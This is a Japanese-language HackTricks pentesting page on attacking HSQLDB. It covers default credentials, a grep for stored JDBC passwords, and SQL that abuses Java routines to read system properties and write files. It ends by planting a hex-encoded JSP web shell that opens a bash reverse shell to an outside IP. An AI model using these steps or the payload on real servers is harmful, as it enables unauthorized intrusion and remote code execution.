6.1 KiB
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- ハッキングトリックを共有するには、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。
基本情報
HSQLDB (HyperSQL DataBase) は、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。小さな高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
デフォルトポート: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
情報
デフォルト設定
デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。見つけた場合、おそらく他のサービスを悪用して特権を昇格させようとしているでしょう。
デフォルトの資格情報は通常、空のパスワードで sa
です。
他のサービスを悪用した場合は、可能な資格情報を検索してください。
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
注意してデータベース名を - 接続に必要です。
情報収集
HSQLDBをダウンロードしてhsqldb/lib/hsqldb.jar
を解凍し、GUIアプリを実行します。java -jar hsqldb.jar
を使用してインスタンスに接続し、発見された/弱い資格情報を使用します。
リモートシステムの場合、接続URLは次のようになります: jdbc:hsqldb:hsql://ip/DBNAME
。
テクニック
Java言語ルーチン
Java言語ルーチンを使用してHSQLDBからJavaクラスの静的メソッドを呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパスにある必要があることに注意してください。
JRTはfunctions
またはprocedures
になります。Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。VALUES
ステートメントを使用して呼び出されます。
呼び出したいJavaメソッドがvoidを返す場合、CALL
ステートメントを使用して呼び出す必要があります。
Javaシステムプロパティの読み取り
関数を作成します:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
関数を実行します:
VALUES(getsystemproperty('user.name'))
You can find a list of system properties here.
ファイルへのコンテンツの書き込み
com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java ガジェットを使用して、JDK にあるカスタム手順を介してディスクに16進エンコードされたアイテムを書き込むことができます。最大サイズは1024バイトです。
手順の作成:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
手順を実行します:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する。